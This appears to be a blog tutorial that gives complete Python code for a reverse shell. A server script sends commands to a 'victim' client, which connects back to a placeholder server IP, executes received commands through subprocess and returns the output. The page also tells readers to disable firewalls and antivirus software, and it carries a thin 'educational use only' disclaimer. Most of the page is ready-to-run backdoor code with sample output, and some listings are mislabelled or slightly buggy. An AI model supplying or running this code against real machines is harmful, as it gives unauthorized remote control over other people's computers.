How to make Reverse Shell using Python [2021] - iLab Academy

Python Reverse Shell using Python


What is a Reverse Shell

The reverse shell is a shell session formed on a connection initiated by a remote machine. Attackers who successfully exploit the risk of executing remote commands can use an inverse armor to obtain an interactive shell session on the target machine and continue their attack. Remote shell access (also known as a connector-back shell) may be the only way to remote shell access via NAT or a firewall. Let's see how the reverse shell works in practice.

TCP Protocol, How reverse shell works


Must know before use

You need to know this well before using it. Please note that all content herein is for educational use only. We do not accept any responsibility for any unauthorized actions you may commit. Use them at your own risk. You need to have Python installed on your device to run this program. Disable Firewall and Virus Guard if you encounter errors while running this.


Coding a Python Reverse shell

This is mainly done by communicating data between the server and the victim via the TCP protocol. The server sends commands and executes them on the program on Victim's computer. Below we will see how to code this process using Python. First, you create an empty file and name it server.py. Then import the os, socket module. Creating a simple TCP server requires a socket module.
import socket
Then all you have to do is add the properties to the server. But before that, you need to introduce your IP Address and the shell activation port. Your IP Address can be accessed through the socket.gethostbyname(socket.gethostname())
#Variables
HOST = socket.gethostbyname(socket.gethostname()) #It returns your local IP address
PORT = 5050
ADDR = (HOST,PORT)
Now create the server with its properties. SOCK_STREAM is used to communicate without packet damage
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen()
Now let's create a new function for the client handler. From this section, Victim's Shell receives the current path. The server receives the victim's commands from the keyboard and sends them to the victim (client). It then displays the response from the client. Then enter BUFFER_SIZE = 1024 * 128 into #Variables. It is the amount of data obtained at one time.
#Variables
BUFFER_SIZE = 1024*128
... 

#Client Handler
def client_handler(conn, addr):
    while True:
        cwd = conn.recv(BUFFER_SIZE).decode('utf-8')
        print("( {0}:{1} )".format(addr[0],addr[1]),cwd+"> ",end='')
        command = input().encode('utf-8')
        conn.send(command)
        print(conn.recv(BUFFER_SIZE).decode('utf-8'))
        print()
Create a new function as start () and type the following. Here a new connection is waiting. by accept ().
def start():
    while True:
        conn, addr = server.accept()
        client_handler(conn,addr)
Now call the start () function as below
print("[STARTING] server is starting...")
start()
The complete server.py code is as follows
import socket

#variables
HOST = socket.gethostbyname(socket.gethostname()) #It returns your local IP address
PORT = 5050
ADDR = (HOST,PORT)
BUFFER_SIZE = 1024*128

#Create TCP Server
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen()

#Client Handler
def client_handler(conn, addr):
    while 1:
        cwd = conn.recv(BUFFER_SIZE).decode('utf-8')
        print("( {0}:{1} )".format(addr[0],addr[1]),cwd+"> ",end='')
        command = input().encode('utf-8')
        conn.send(command)
        print(conn.recv(BUFFER_SIZE).decode('utf-8'))
        print()

def start():
    while True:
        conn, addr = server.accept()
        client_handler(conn,addr)

print("[STARTING] server is starting...")
start()
Now you need to write code for client.py (Victim) to capture this data. As before, in addition to the essential module socket, os, subprocess is also imported. The same is true of variables
import os
import socket
import subprocess

HOST = "YOUR_SERVER_IP" #Put Your Server Ip 
PORT = 5050
ADDR = (HOST,PORT)
BUFFER_SIZE = 1024*128

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(ADDR)

The following code reads the data received from the server and executes it. In this case, the cd (Change Directory) command is not active. This is because a command runs in a temporary terminal. For that, change the directory through python
while True:
    cwd = os.getcwd()
    sock.send(cwd.encode('utf-8'))
    command = sock.recv(BUFFER_SIZE).decode('utf-8')
    splited_command = command.split()
    if splited_command[0].lower() == "cd":
        try:
            os.chdir(' '.join(splited_command[1:]).strip())
        except FileNotFoundError as e:
            output = str(e)
    else:
        output = ""

    output = subprocess.getoutput(command)
    if str(output).strip() == '':output = " "
    sock.send(output.encode("utf-8"))
The complete server.py code is as follows
import os
import socket
import subprocess

host = "YOUR_SERVER_IP" #Put Your Server Host Ip 
port = 5050
BUFFER_SIZE = 1024*128

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))

while True:
    cwd = os.getcwd()
    sock.send(cwd.encode('utf-8'))
    command = sock.recv(BUFFER_SIZE).decode('utf-8')
    splited_command = command.split()

    if splited_command[0].lower() == "cd":
        try:
            os.chdir(' '.join(splited_command[1:]).strip())
        except FileNotFoundError as e:
            output = str(e)
        else:
            output = ""

    output = subprocess.getoutput(command)
    if str(output).strip() == '':output = " "
    sock.send(output.encode("utf-8"))


Reverse Shell Output

You must first run the server
$ python server.py
[STARTING] server is starting...
Then try running client.py on another computer on the same network or on the same computer.
$ python client.py
Now go back to the server. There you will see that the client is connected. If not, see if the client's HOST_IP and PORT match the HOST and PORT of the SERVER. Once on the server, you will see that it is connected to the client's computer. Try typing a client code related to the client's operating system. (Eg Windows - systeminfo, Linux - whoami) Then it will be executed on his computer and its output will come through TCP and be displayed on your computer.
[STARTING] server is starting...
( 192.168.8.156:65073 ) C:\Users\iLabAcademy\Python\ReverseShell> systeminfo
Host Name: DESKTOP-H5LEVJ1
OS Name: Microsoft Windows 10 Home Single Language
OS Version: 10.0.18363 N/A Build 18363
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: N/A
Registered Organization: N/A
This is a very simple reverse shell. From this, you have learned how to create a reverse shell. You may have noticed how this can harm a computer and privacy. To prevent this, keep Firewall and Virus Guard active at all times.


Download Source Code

You can Download Python ReverseShell Source code from here  https://github.com/iLabAcademy/ReverseShell

Post a Comment

0 Comments